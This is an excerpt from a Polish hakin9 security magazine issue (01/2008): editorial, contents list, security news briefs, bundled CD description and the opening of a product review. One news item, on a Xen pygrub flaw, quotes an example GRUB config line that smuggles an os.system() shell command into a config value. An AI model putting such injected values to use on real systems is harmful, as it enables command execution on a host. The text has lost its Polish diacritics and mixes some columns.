You are on page 1of 84

hakin9

Witam! W skrcie
Mateusz Stpie

Drodzy Czytelnicy, mam zaszczyt powita Was w Nowym 2008 Roku! Mam nadziej, e bdzie on obfitowa w moc sukcesw i pomylnych zdarze. Niech wirusy i robaki omijaj Wasze komputery, a producenci oprogramowania dostarczaj coraz to nowych i jeszcze szkuteczniejszych rozwiza zapewniajcych bezpieczestwo. Licz take na to, e tak jak w poprzednim roku, rwnie i w tym spdzicie par chwil na lekturze hakin9'u. Zachcam do tego tym bardziej, e przygotowalimy dla Was wiele niespodzianek. Profesjonalne artykuy, ciekawe wywiady, najlepsze programy antywirusowe, konkursy z nagrodami oraz wiele innych. Jedn z nowoci, jest pomys organizowania comiesicznych spotka z Naszymi Czytelnikami. Chcielibymy spotka si z Wami, porozmawia, usysze opinie na temat hakin9u co moglibymy zmieni, jakie rzeczy poprawi, co Wam si podoba w naszym magazynie? Oczywicie, zachcamy rwnie do dzielenia si swoimi przemyleniami na temat pisma ju teraz. Czekamy na wiadomoci. Chcemy, eby hakin9 by jeszcze bardziej profesjonalny, ebycie sigali po niego z wiksz ciekawoci, a przede wszystkim, eby ta ciekawo zostaa w 100% zaspokojona. W tym numerze, przygotowalimy dla Was kilka nowych artykuw w ktrych znajdziecie wiele praktycznych informacji o tym, jak skutecznie zapewni bezpieczestwo nie tylko danym znajdujcym si na dyskach Waszych komputerw, ale take samym maszynom. Nie zapomnielimy te o staych punktach programu. W magazynie, tradycyjnie: wiadomoci, recenzje ksiek w tym miesicu E-biznes bez ryzyka. Zarzdzanie bezpieczestwem w Sieci autorstwa Jonathana Reuvida oraz PHP Bezpieczne Programowanie, ktr napisa Chris Shiflett, a take opis nowych narzdzi oraz pyta CD, na ktrej oprcz programw znajdziecie kolejn cz filmu instruktaowego na temat ataku SQL Injection z uyciem Union Select. Drodzy Czytelnicy, nie pozostaje mi nic innego, jak zaprosi Was do lektury. Barbara Czuada

Przedstawiamy najciekawsze wiadomoci ze wiata bezpieczestwa systemw informatycznych i nie tylko.

Zawarto CD

10

Prezentujemy zawarto i sposb dziaania najnowszej wersji naszej sztandarowej dystrybucji hakin9.live.

Narzdzia
Recenzja Internet Security Suite Recenzja Teleguard 14 15

Pocztki
Domeny zagroenia i ich skutki 16
Damian Daszkiewicz

Damian w swoim artykule opisuje jak przenie domen do innego rejestratora oraz co to jest WHOIS.

Atak
Blind Attack
Konrad Malewski

20

Technika blind scanning pozwala na poznanie niektrych parametrw poczenia zestawionego pomidzy dwoma maszynami w sposb, ktra nie kieruje podejrze w stron rda ataku.

Niebezpieczne nazwy plikw


Micha 'Gynvael Coldwind' Skadnikiewicz

30

Z artykuu dowiesz si, jakie s najczstsze zaniedbania w implementacji obsugi nazw plikw otrzymanych z zewntrz.

Obliczenia pasoytnicze
Micha Sty

36

Micha w swoim artykule przedstawia sposoby wykorzystania protokow sieciowych do wykonywania oblicze na komputerach podczonych do Sieci.

C#.NET. Podsuchiwanie klawiatury 42


Sawomir Orowski, Maciej Pakulski

Z tego artykuu dowiemy si jak dzia j haki w systemie Windows oraz jak moemy dodawa wpisy do rejestru systemowego.

hakin9 Nr 01/2008

www.hakin9.org

Obrona
Fizyczne bezpieczestwo serwerw
Rafa Podsiady

jest wydawany przez SoftwareWydawnictwo Sp. z o.o.

50

Nie wiesz jak fizycznie zabezpieczy swj serwer, jakich narzdzi uy?

Heurystyka w programach antywirusowych


Jakub Dbski

58

Dyrektor wydawniczy: Sylwia Pogroszewska Redaktor naczelny: Katarzyna Juszczyska katarzyna.juszczynska@software.com.pl Redaktor prowadzcy: Robert Gontarski robert.gontarski@software.com.pl Asystentka: Barbara Czuada barbara.czuada@software.com.pl Wyrnieni betatesterzy: Ewa Rutkowska, Marcin Kosedowski Opracowanie CD: Rafa Kwany Kierownik produkcji: Marta Kurpiewska marta@software.com.pl Skad i amanie: Robert Zadrony robert.zadrozny@software.com.pl Okadka: Agnieszka Marchocka Dzia reklamy: adv@software.com.pl Prenumerata: Marzena Dmowska pren@software.com.pl Adres korespondencyjny: SoftwareWydawnictwo Sp. z o.o., ul. Bokserska 1, 02-682 Warszawa, Polska Tel. +48 22 427 36 77, Fax +48 22 427 36 69 www.hakin9.org Osoby zainteresowane wspprac prosimy o kontakt: cooperation@software.com.pl

Artyku Jakuba Dbskiego pokazuje czym jest heurystyka w programach antywirusowych, jakie s rodzaje wykorzystywanych heurystyk oraz przed jakimi problemami staj ich twrcy.

Bezpieczna Firma
Bezpieczestwo teleinfomatyczne 66 danych niejawnych
Andrzej Guzik

Druk: 101 Studio, Firma Tgi Redakcja dokada wszelkich stara, by publikowane w pimie i na towarzyszcych mu nonikach informacje i programy byy poprawne, jednake nie bierze odpowiedzialnoci za efekty wykorzystania ich; nie gwarantuje take poprawnego dziaania programw shareware, freeware i public domain. Uszkodzone podczas wysyki pyty wymienia redakcja. Wszystkie znaki firmowe zawarte w pimie s wasnoci odpowiednich firm i zostay uyte wycznie w celach informacyjnych. Do tworzenia wykresw i diagramw wykorzystano program firmy Pyt CD doczon do magazynu przetestowano programem AntiVirenKit firmy G DATA Software Sp. z o.o. Redakcja uywa systemu automatycznego skadu UWAGA! Sprzeda aktualnych lub archiwalnych numerw pisma w cenie innej ni wydrukowana na okadce bez zgody wydawcy jest dziaaniem na jego szkod i skutkuje odpowiedzialnoci sdow. hakin9 ukazuje si w nastpujcych krajach: Hiszpanii, Argentynie, Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niemczech, Austrii, Szwajcarii, Polsce, Czechach, Sowacji. Prowadzimy rwnie sprzeda kioskow w innych krajach europejskich.

Andrzej pokae nam sposoby ochrony informacji niejawnych przetwarzanych w systemach komputerowych i sieciach teleinformatycznych.

Ksigozbir

72

Recenzujemy ksiki E-biznes bez ryzyka. Zarzdzanie bezpieczestwem w Sieci, PHP Bezpieczne Programowanie oraz Podstawy ochrony komputerw.

Wywiad
Wywiad z Marcinem Piounem-Noyszewskim 74
Katarzyna Juszczyska

Rozmowa z prezesem firmy M2 NET, ktra jest niezalenym producentem oprogramowania tworzcym zaawansowane rozwizania zwizane z bezpieczestwem i dziaalnoci biznesow.

Felieton
Czy hakerzy s li?
Rafa Bednarski

Magazyn hakin9 wydawany jest w 7 wersjach jzykowych:


PL

78

ES FR

CZ DE

EN

IT

Nakad wersji polskiej 6 000 egz.

Zapowiedzi

82

UWAGA!
Techniki prezentowane w artykuach mog by uywane jedynie we wasnych sieciach lokalnych. Redakcja nie ponosi odpowiedzialnoci za niewaciwe uycie prezentowanych technik ani spowodowan tym utrat danych.

Zapowiedzi artykuw, ktre znajd si w nastpnym wydaniu naszego pisma.

www.hakin9.org

hakin9 Nr 2/2006

W skrcie

McAfee przejmuje SafeBoot

Firma McAfee, wiatowy lider w dziedzinie produktw antywirusowych, zapr i programowych zabezpiecze internetowych, ogosia decyzj o przejciu holenderskiego producenta systemw kontroli dostpu i szyfrowania danych firmy SafeBoot. Oprogramowanie firmy McAfee uywane jest aktualnie na ponad 100 milionach komputerw, przejcie SafeBoot pozwoli zaoferowa ich uytkownikom funkcjonalno szyfrowania danych dziki aplikacji Data Protection Suite, ktra pozwala na szyfrowanie plikw, katalogw i caych partycji na wszelkiego typu urzdzeniach przenonych, notebookach i palmtopach. Kwota transakcji wyniosa okoo 350 milionw dolarw, jednak zakup SafeBoot nie jest jedynym nabytkiem planowanym przez McAfee w najbliszym czasie.

NEC izoluje szkodliwy kod

irma NEC midzynarodowe konsorcjum z sektora informatycznego z siedzib w Minato w Japonii opracowaa now technologi, ktra pozwala na wykrycie, odizolowanie i zatrzymanie dziaania wirusa na poziomie rdzenia procesora. Technologia jest o tyle ciekawa, e stworzona zostaa dla procesorw wielordzeniowych, dziki czemu nie przeszkadza w sprawnym dziaaniu caego systemu. Gwnym zaoeniem nowej technologii jest uruchamianie kadego programu w oddzielnym procesie na osobnych rdzeniach wielordzeniowego CPU. Ten innowacyjny pomys inynierw firmy NEC skutecznie zapobiega rozprzestrzenieniu si szkodliwego kodu po caym systemie i

przedostanie si do sieci, a rdze, w ktrym uruchamia si wirus, zostaje chwilowo wyczony. NEC nie wymyli jeszcze nazwy dla swojej technologii. Technologi mona wykorzysta w telefonach komrkowych, samochodach i najprawdopodobniej w komputerach. NEC Corporation to japoska firma produkujca sprzt komputerowy, telekomunikacyjny, urzdzenia elektroniczne i oprogramowanie, midzy innymi notebooki Versa oraz Lavie. NEC zosta zaoony przez Kunihiko Iwadare wraz z grup wsppracownikw w 1899 r. Jeden z zaoycieli pochodzi z USA.

Odkryto luk w oprogramowaniu wirtualizacyjnym Xen


OpenBSD ata dziur w serwerze DHCP

Firma Core Security odkrya powany bd w zabezpieczeniach serwera DHCP wykorzystywanego w wolno dostpnym systemie operacyjnym OpenBSD 4.0, 4.1 oraz 4.2. Bd jest o tyle powany, e atakujcy, ktry ma dostp do sieci lokalnej, moe przy uyciu odpowiednio spreparowanego dania DHCP unieruchomi dowoln usug. Specjalici z Core Security wykryli w funkcji cons_options (src/usr.sbin/dhcpd/options.c) bd przepenienia bufora. Warto te przypomnie, e ostatnio odkryto podobny bd take w oprogramowaniu serwera DHCP uywanego przez aplikacje do wirtualizacji firmy Vmware.

oris van Rantwijk wykry bd w rodowisku wirtualizacji Xen, umoliwiajcy uytkownikowi z uprawnieniami roota w domenie gocia wykona dowolne polecenia w domenie 0, czyli w samym kontrolerze, nadzorujcym prac rodowiska wirtualizacji. Bezporednim rdem bdu jest skrypt tools/pygrub/src/ GrubConf.py, ktry odczytuje dane z pliku konfiguracyjnego GRUBa (boot/grub/grub.conf ) i prbuje ustawi odpowiednie parametry uywajc funkcji exec bez poprawnego sprawdzania przekazywanych parametrw. Podczas kolejnego restartu odpowiednio przygotowany plik konfiguracyjny moe zosta wykorzystany do przekazania poprzez skrypt dziaajcy w domenie 0 polece do shella i ich wykonania. Joris van Rantwijk w swoim wpisie w Bugzilli na Xensource.com zaprezentowa przykadow lini wywoania:
default "+str(0*os.system( " insert evil command here "))+"

Bd zosta znaleziony w wersji 3.0.3, starsze wersje rwnie mog by podatne na ten rodzaj ataku. Na chwil obecn nie udostpniono poprawki. Xen to monitor maszyn wirtualnych na licencji open source, opracowany na Uniwersytecie Cambridge i rozwijany przez firm XenSource. Ma ono za zadanie obserwowanie maszyn wirtualnych uruchomionych w jego rodowisku i dbanie o to, aby nie zakcay one wzajemnie swojej pracy i aby ich rwnoczesne dziaanie nie obniao w znaczcy sposb wydajnoci systemu.

hakin9 Nr 01/2008

www.hakin9.org

Mateusz Stpie

Bramka zabezpieczajca UTM

irma PLANET Technology, globalny lider technologii sieciowych opartych na protokole IP, zaprezentowaa now bramk zabezpieczajc UTM o nazwie CS-2000, w ktrej zaadaptowano algorytm analizy heurystycznej do filtrowania poczty elektronicznej pod ktem spamu i wirusw. Samouczcy si system potrafi podnosi sw efektywno w identyfikacji spamu, a wbudowany twardy dysk o pojemnoci 80GB zapewnia wystarczajc ilo miejsca dla maili poddanych kwarantannie. Mechanizm antywirusowy posiada dwa silniki skanujce: Clam oraz Sophos, dziki czemu jest w stanie skutecznie zdiagnozowa wirusy,

robaki i inne zagroenia w poczcie elektronicznej i przesyanych z Internetu plikach. Urzdzenie przesya raporty dzienne, tygodniowe, miesiczne i roczne poprzez e-mail, co pozwala administratorowi na atwe monitorowanie statusu sieci. CS-2000 dziki wbudowanemu firewallowi i zabezpieczeniom IDP chroni rwnie przed wamaniami hakerw i innymi atakami pyncymi ze strony Internetu lub intranetu. Wbudowane dwa porty WAN umoliwiaj bramce balansowanie obcienia dla ruchu wchodzcego i wychodzcego oraz zapewniaj cigy dostp do sieci WAN nawet w wypadku awarii jednego z cz.

Oprogramowanie Open Source nie jest bezpieczne

Firma Fortify Software, zajmujca si bezpieczestwem i oferujca produkty chronice bardzo due firmy przed najwikszym niebezpieczestwem czyli aplikacjami, ktre pracuj wewntrz tych przedsibiorstw przygotowaa ciekawy raport, z ktrego wynika, e hakerzy coraz czciej uywaj aplikacji Open Source do przeprowadzania atakw. Przedstawiciel Fortify Software, Brian Chess, twierdzi: Ten nowy rodzaj zagroe wiadczy o tym, e hakerzy bardzo uwanie przygldaj si procesowi powstawania oprogramowania. Wamywacze nadal wykorzystuj luki w aplikacjach ju dostpnych na rynku. Coraz czciej jednak sami wpywaj na ksztat nowego oprogramowania, umieszczajc w nim luki, zanim jeszcze zostanie ono ukoczone.

Poprawki bezpieczestwa dla Asteriska 1.4

eweloperzy darmowego oprogramowania Asterisk, sucego do obsugi systemw telefonii, wydali now wersj oznaczon numerkiem 1.4.13, w ktrej usunito dwa powane bdy zwizane z funkcjonowaniem poczty gosowej. W kodzie podsystemu Voice-Mail Asteriska, ktry korzysta z protokou IMAP, znaleziono powan usterk polegajc na niebezpiecznym uyciu funkcji sprintf(). Usterka jest bardzo powana i pozwala na zawieszenie systemu lub wprowadzenie do niego dowolnego kodu. eby bd wystpi, napastnik musi spreparowa nagwki Content-Type i Content-Description w taki sposb, aby ich dugo przekroczya w sumie 1024 bajty. Zagroone wystpowaniem bdw s jedynie wydania Asterisk Open Source o numerze wersji mniejszym ni 1.4.13. Luk w Voice-Mail odkry dostawca usug

51 poprawek Oracle'a

z zakresu bezpieczestwa, firma Diginum. Asterisk zosta stworzony przez Marc'a Spencer'a pod szyldem firmy Digium. Z maymi wyjtkami jest udostpniony na zasadach Free software license. Obecnie Asterisk moe dziaa pod kontrol Windows, BSD i OS X, jednak jego natywnym rodowiskiem jest Linux, i dla niego te zapewnione jest najwiksze wsparcie. Asterisk jest take macierzystym rodowiskiem protokou wykrywania usug VoIP.

Oracle przedstawi zestaw 51 poprawek bezpieczestwa. Zamykaj one midzy innymi pi powanych luk, ktre mona wykorzysta do przeprowadzenia zdalnych atakw. Luki znaleziono w nastpujcych produktach Oracle'a: Oracle Database (27 poprawek), Oracle Application Server (11 poprawek), Oracle E-Business Suite (8 poprawek), Enterprise Manager Database Control (2 poprawki), a take Peoplesoft Enterprise (3 poprawki).

www.hakin9.org

hakin9 Nr 01/2008

W skrcie

Ubuntu Gutsy Gibbon

Ukazaa si nowa wersja dystrybucji Ubuntu 7.10 o nazwie kodowej Gutsy Gibbon. W nowym Ubuntu znajdziemy midzy innymi rodowisko GNOME w wersji 2.20, domylnie wczone efekty graficzne Compiz Fusion i zainstalowan wtyczk Gnash do odtwarzania animacji Flash. Ubuntu Gutsy Gibbon zawiera jdro 2.6.22 i podsystem grafiki Xorg 7.3 z obsug RandR 1.2 oraz z xserver 1.4. Pojawiy si take sterowniki do niektrych tzw. winmodemw. Twrcy Ubuntu poprawi rwnie system raportowania przy instalacji i aktualizacjach pakietw, a take zgaszania padw jdra, ktre bd wyapywane podczas restartu.

Internet Explorer 7 dla kadego

igant z Redmond, firma Microsoft, udostpnia przegldark Internet Explorer 7 wszystkim chtnym, nie tylko wacicielom oryginalnych kopii Windows. Dzisiejsza poprawka Installation and Availability umoliwia pobranie Internet Explorera 7 bez przechodzenia WGA (Windows Genuine Advantage). Przegldarka bdzie dostpna dla wszystkich uytkownikw Windows XP czytamy na firmowym blogu. Przypomnijmy, e Windows Genuine Advantage (WGA) jest czci inicjatywy Microsoft Genuine Software Initiative, ktrej zadaniem jest udostpnianie aplikacji wycznie tym uytkownikom, ktrzy posiadaj oryginalne wersje systemu operacyjnego Windows. Firma z Redmond ujawnia, e zrezygnowaa z WGA z powodw bezpieczestwa: Bardzo zaley nam na tym, by skutecznie chroni wszystkich uytkownikw, czyli cay 'ekosystem Windows' dlatego te

postanowilimy rozszerzy moliwo korzystania z IE7 na wszystkie systemy Windows. Oznacza to, e do zainstalowania najnowszej wersji naszej przegldarki nie bdzie ju niezbdne przeprowadzenie weryfikacji legalnoci systemu tumaczy Steve Reynolds. Tristan Nitot z Mozilli twierdzi, e udostpnienie przegldarki wszystkim uytkownikom Windows jest spowodowane obaw o utrat rynku. Myl, e IE7 rozpowszechnia si zbyt wolno, czciowo ze wzgldu na WGA stwierdzi Nitot.

Panda 2008 ju w sprzeday


W sprzeday pojawiy si najnowsze rozwizania przeznaczone do ochrony komputerw firmy Panda Security na rok 2008. Firma przygotowaa trzy zestawy produktw: Panda Internet Security 2008, program Panda Antivirus + Firewall 2008 i samodzieln aplikacj antywirusow Panda Antivirus 2008. Wszystkie produkty na rok 2008 zawieraj nowy model ochrony megadetection, ktry znacznie zwiksza wykrywalno wirusw i innych zagroe.

Linspire 6.0 z licencjami Microsoftu

kazaa si najnowsza wersja komercyjnego systemu operacyjnego Linspire 6.0, bazujcego na Ubuntu Feisty Fawn. Linspire 6 jest pierwsz wersj, ktra jest objta ochron patentow wynikajc z umowy z Microsoftem. Zaoeniem twrcw byo stworzenie w peni funkcjonalnego systemu operacyjnego, ktry nie posiada tak widocznych brakw w oprogramowaniu i funkcjach, jak w przypadku najpopularniejszych darmowych dystrybucji Open Source. Nowy Linspire oferuje domylnie zainstalowane kodeki do odtwarzania filmw QuickTime, Windows Media, Flash, Real oraz wsparcie dla formatu Microsoft Office Open XML. Linspire 6 oferuje dostp do portalu CNR, z ktrego mona atwo zainstalowa ponad 20 tysicy darmowych i patnych aplikacji, a oprcz tego znajdziemy w nim zestaw autorskich apli-

kacji midzy innymi Lphoto i Lsongs.Larry Kettler, dyrektor generalny korporacji Linspire, powiedzia o najnowszym produkcie: Nadal kontynuujemy tradycj Linspire, oferujc jeszcze lepsze moliwoci nowym uytkownikom systemu Linux. Linspire 6.0 pomniejsza przepa midzy oprogramowaniem open source a komercyjnymi aplikacjami, czc najlepsze cechy obu stron w jeden, atwy w uytkowaniu i produktywny system operacyjny.

hakin9 Nr 01/2008

www.hakin9.org

Mateusz Stpie

Wyeliminowano bd w WinAmpie

Botnety lubi Linuksa?

ydano now wersj popularnego odtwarzacza multimedialnego Winamp 5.5, ktra zawiera poprawk eliminujc bd przekroczenia zakresu liczby cakowitej w module sucym do przetwarzania danych zapisanych z uyciem bezstratnego formatu audio o nazwie FLAC. Problem jest na tyle powany, e po uruchomieniu odpowiednio spreparowanego pliku Free Lossless Audio Codec nastpuje przepenienie bufora, dziki ktremu wamywacz moe wykorzysta komputer uytkownika do wykonania dowolnego kodu. Wykryty bd dotyczy wersji Winampa 5.35 Full. Specjalici zalecaj aktualizacj do Winampa

5.5 albo rczne usunicie biblioteki libFLAC.

eTokeny Aladdina zabezpieczaj telefony Virgin Mobile we Francji

laddin Knowledge Systems rozpocz wspprac z sieci telefonii komrkowej Virgin Mobile we Francji. W wyniku zawartej umowy ponad 3 tysice dystrybutorw w caym kraju zostao wyposaonych w rozwizania eToken. Virgin Mobile udostpnia cz swojego systemu informatycznego stronom trzecim. Odbywa si to za porednictwem Internetu i ma rozproszony charakter. W takich sytuacjach palc potrzeb jest waciwa ochrona systemu i odpowiednie zarzdzanie dostpem do niego. eTokeny poprzez zastosowanie dwupoziomowego modelu uwierzytelnienia wprowadzaj wydajny i szczelny system zabezpiecze. Dodatkowo system TMS wspomaga firm w zarzdzaniu infrastruktur eTokenw. powiedzia Shlomi Yanai, wiceprezes firmy Aladdin. Dziki wyposaeniu dystrybutorw w dwustopniowy klucz uwierzytelnienia eTokenu NG-OTP, sie Virgin Mobile osigna wysoki poziom bezpieczestwa aktywacji telefonw w caej Francji poprzez zabezpieczenie przed nieautoryzowanymi uytkownikami, ktrzy mogliby zdoby dostp do danych

firmy. eToken NG-OTP to jeden z najbardziej innowacyjnych rodzajw tokenw. NG-OTP jest bardzo elastycznym i uniwersalnym urzdzeniem wspierajcym wiele rozwiza do autoryzacji dostpu i wsppracuje z rnymi rodzajami sieci oraz aplikacji. Aladdin Knowledge Systems to izraelska firma informatyczna, ktra powstaa w 1985 r. ptOd 1993 r. Aladdin specjalizuje si w tworzeniu rozwiza wspomagajcych zarzdzanie dostpem do oprogramowania (Digital Rights Management, DRM) oraz zabezpieczanie go przed piractwem i niekontrolowanym wykorzystywaniem.

Najwikszy serwis aukcji internetowych na wiecie, portal eBay, planuje w niedugiej przyszoci przeksztaci swojego PayPal'a - system, ktry umoliwia wysyanie i otrzymywanie bezpiecznych patnoci kademu, kto jest posiadaczem konta e-mail - w bezpieczny internetowy bank. Dave Cullinane, ktry jest gwn osob odpowiedzialn za bezpieczestwo IT w eBay, podczas konferencji, ktra odbya si w Santa Clara, podzieli si swoimi ciekawymi spostrzeeniami z czasw, gdy pracowa w Washington Mutual jednym z najwikszych amerykaskich bankw. Cullinane mwi midzy innymi o tym, e jego bank by bardzo czsto atakowany przez cyberprzestpcw, a raz zdarzyo si, i przez cay miesic by celem najwikszego wwczas ataku w USA. To bya niezwykle zaawansowana technika ataku, a wikszo uytkownikw nawet nie zdawaa sobie sprawy z faktu, e ich komputer jest czci botneta. Odcinalimy poszczeglne maszyny, ktre zawieray phishingowe oprogramowanie, a ich uytkownicy nie mieli pojcia, e cyberprzestpcy wykorzystuj ich komputery. Wiele z nich to byy serwery nalece do firm i uczelni. Dave Cullinane stwierdzi te, e: Zdecydowana wikszo szkodliwych witryn znajdowaa si na komputerach pracujcych pod kontrol Linuksa, co nas bardzo zdziwio. Spodziewalimy si znacznej przewagi maszyn, na ktorych zainstalowany by Windows, ale tym razem byo inaczej.

www.hakin9.org

hakin9 Nr 01/2008

hakin9.live

Zawarto CD

a doczonej do pisma pycie znajduje si hakin9.live (h9l) w wersji 4.0.2 on BackTrack2.0, zawierajca przydatne narzdzia, dokumentacj, tutoriale i materiay dodatkowe do artykuw. Aby zacz prac z hakin9.live, wystarczy uruchomi komputer z CD. Po uruchomieniu systemu moemy zalogowa si jako uytkownik hakin9 bez podawania hasa.

Pene wersje programw:


DTweak, Novosoft Office Backup 2.2, Dr.Web for Windows File Servers (wersja 6-miesiczna), System Safety Monitor (wersja 6-miesiczna), ArcaVir 2007 (wersja 3-miesiczna), Stellar Phoenix Windows Recovery.

si z zewntrznym serwerem FTP. Wan funkcj jest rwnie planowanie automatycznego tworzenia kopii zapasowych (dzienne, tygodniowe, miesiczne). Program dokuje si w zasobniku systemowym, informujc przy pomocy swojej ikonki o statusie aktualnie wykonywanego zadania. Kopie zapasowe mona bezporednio umieszcza na wielu rnych nonikach, jak np. HDD, pyty CD/DVD/HD/Blue-Ray, USB, LAN, FTP itd. Poza tym mamy do dyspozycji obsug skryptw. Program zosta zaprojektowany dla systemw z rodziny Windows w wersjach od 2000 do Vista.

Dr.Web for file servers Windows NT/2000/2003

Produkt z rodziny Dr.Web przeznaczony do ochrony serwerw plikw Windows NT/2000/2003. Kluczowe funkcje: kontrola wszystkich operacji plikowych w czasie rzeczywistym, dostpno trybw skanowania: w czasie rzeczywistym, na danie, wg. terminarza, unikalna technologia zarzdzania zasobami serwera (odraczanie testowania plikw otwieranych tylko do odczytu), automatyczna aktualizacja, logowanie zdarze.

Filmy instruktaowe:
Drugi odcinek Atak SQL Injection z uyciem Union Select. Kolejny odcinek z serii filmw instruktaowych przedstawiajcych najpopularniejsze metody atakw na strony internetowe.

DTweak

Narzdzie poprawiajce wydajno i wygld systemw z rodziny Windows. Dziaa w wersjach XP, 2003, Vista. Dziki wbudowanym funkcjom mona w atwy sposb oczyci dysk i rejestr ze zbdnych danych, zdefragmentowa zarwno dysk, jak i rejestr oraz zmieni wiele ukrytych w systemie opcji. Program zosta zaprojektowany przede wszystkim dla Visty. Przy rejestracji uyj zakadki Register for FREE Now, wprowad swoje imi i nazwisko oraz adres e-mail. Po rejestracji wersja 10-dniowa stanie si wersj bez ogranicze czasowych.

Novosoft Office Backup 2.2

Jedno z najlepszych narzdzi do tworzenia kopii zapasowych. W atwy sposb sporzdzimy backup zdj, dokumentw i wielu innych wartociowych dla nas plikw. Oferuje dwa tryby tworzenia kopii: standardowy i ekspercki. Istnieje moliwo filtrowania plikw, kompresji, szyfrowania danych. Poza tym Office Backup posiada rozbudowany system wtyczek pozwalajcych na tworzenie kopii e-maili z rnych klientw pocztowych, danych przegldarek WWW, komunikatorw, menaderw hase itd. Potrafi take zsynchronizowa

Unikalna technologia zarzdzania zasobami, umoliwiajca odroczenie testu plikw otwartych tylko do odczytu, pozwala na zapamitywanie da dostpu do plikw przechowywanych na serwerze i testowanie ich w momencie zwolnienia zasobw systemowych. Dziki temu wydajno antywirusa Dr.Web jest ograniczona tylko wydajnoci chronionego serwera. Dr.Web Anti-Virus poprawnie sprawdza rne typy archiww - skompresowane, wielowolumenowe i samorozpakowujce si (SFX). Dodatkowo Dr.Web sprawdza rwnie pliki spakowane rnymi rodzajami pakerw. Pliki czy aplikacje mog zosta przetestowane w poszukiwaniu wirusw i innego szkodliwego oprogramowania w locie (on-the-fly), na danie administratora serwera lub poprzez zadanie terminarza Dr.Web. Administrator moe take ustawi automatyczne reakcje antywirusa dla rnego rodzaju wykrytych zagroe. Sama administracja nie jest skomplikowana, dziaanie antywirusa jest praktycznie niezauwaalne.

10

hakin9 Nr 01/2008

www.hakin9.org

hakin9.live

Wszystkie operacje wykonane przez antywirusa na plikach znajduj odbicie w statystykach. Statystyki skanowania dynamicznie pokazuj czas operacji procesu, ilo sprawdzonych plikw, wykryte zagroenia i inne przydatne informacje. Po instalacji pakietu Dr.Web Windows 2000/2003 Server zostaje automatycznie stworzone zadanie systemowe aktualizacji antywirusowych baz danych i innych plikw pakietu.

System Safety Monitor

Narzdzie pozwala na ledzenie w czasie rzeczywistym poczyna systemu operacyjnego Windows oraz chroni przed niebezpiecznymi akcjami. Dziki niemu mona kontrolowa, ktre aplikacje zostan uruchomione, a ktre nie, uniemoliwi dzieciom dostp do pewnych plikw, zablokowa instalacj sterownikw, bibliotek, zabi lub zawiesi wybrany proces. Szczeglnie chroniony jest rejestr, pliki INI, sterowniki, usugi systemu oraz pliki przegldarki Internet Explorer.

Rysunek 1. Recovery Options Warto zauway, e ArcaVir dobrze radzi sobie take z phishingiem oraz programami spyware. Baza wirusw aktualizowana jest na bieco. Oczywicie nie naley myli firewalla ze skanerem HTTP. Silnik ArcaVir opiera si na systemie wtyczek, co oznacza, e w razie niebezpieczestwa pojawienia si nowego zagroenia, pakiet zostanie automatycznie zaktualizowany, a nowa wtyczka dodana do silnika. Pakiet bardzo dobrze wsppracuje z Windows Vista.

ArcaVir 2007

Program chronicy komputer przed zoliwym oprogramowaniem (wirusy, trojany, dialery, rootkity itd.) oraz innymi zagroeniami wynikajcymi z podczenia komputera do Internetu. W skad pakietu wchodz nastpujce komponenty: skaner poczty bada poczt elektroniczn pod ktem wirusw, robakw itp., wsppracuje z kadym programem pocztowym, skaner antywirusowy dziki niemu moemy wygodnie przeskanowa odpowiednie, wybrane przez nas zasoby komputera, monitor antywirusowy na bieco kontroluje uywane przez nas pliki, jest czuy, szybki i co zasuguje na pochwa nie obcia zbytnio systemu operacyjnego, skaner HTTP blokuje obiekty wykorzystujce protok HTTP do rozprzestrzeniania si, firewall pozwala na kontrol przepywu danych przez nasz komputer z sieci i do sieci, silnik antywirusowy wyposaony jest w pokanych rozmiarw baz danych zawierajc informacj o wielu typach szkodliwego oprogramowania.

Stellar Phoenix Windows Recovery

Program suy do odzyskiwania danych z dyskw twardych Windows 9x/ME/NT/2000/XP/2003/Vista. Systemy plikw, ktre obsuguje, to: FAT 16/32, NTFS, NTFS5. Dane moemy odzyskiwa take z dyskw sformatowanych, z zaginionych lub uszkodzonych partycji oraz dyskw logicznych. Udaje si odzyska zarwno utracone foldery, jak i pliki. Program radzi sobie bardzo dobrze take z plikami, ktre zostay ju usunite, a miejsce po nich nadpisane. Narzdzie sprawdzi wszystkie media, ktre zdefiniujemy, w poszukiwaniu utraconych danych, po czym wywietli je w drzewie wedug typu pliku. Rozpoznaje ponad 300 rnych typw plikw, w tym dokumenty procesora tekstu, arkusza kalkulacyjnego, pliki graficzne, multimedia, kody rdowe itp. Media, z ktrych moemy odzyska dane to: dyski twarde, dyskietki, napdy ZIP, dyski/pamici USB.

Licencja dla oprogramowania Dr.Web


Licencj dla oprogramowania Dr.Web Anti-Virus, doczonego do numeru 11/2007 hakin9, mona uzyska po rejestracji na stronie dystrybutora: www.doctorweb.com.pl/ hakin9, uywajc kodu promocyjnego: AVL-32. Licencj dla oprogramowania Dr.Web For File Servers mona uzyska po rejestracji na stronie dystrybutora: www.doctorweb.com.pl/hakin9, uywajc kodu promocyjnego: AVF-32.

Program wymaga co najmniej 32 MB pamici RAM. Opis procesu instalacji i aktywacji znajduje si w pliku tekstowym na pycie CD.

Drogi Czytelniku, masz trzy miesice (do marca 2008), aby zarejestrowa program. Nastpnie otrzymasz pen wersj programu bez ogranicze czasowych. l

12

hakin9 Nr 01/2008

www.hakin9.org

Jeli nie moesz odczyta zawartoci pyty CD, a nie jest ona uszkodzona mechanicznie, sprawd j na co najmniej dwch napdach CD.

W razie problemw z pyt, prosz napisa pod adres: cd@software.com.pl

Internet Security Suite


Producent: McAfee System: Windows 2000, Windows XP, Windows Vista Typ: Internet Security Suite Strona producenta: http://www.mcafee.com/pl/ Ocena: 5/5

Narzdzia

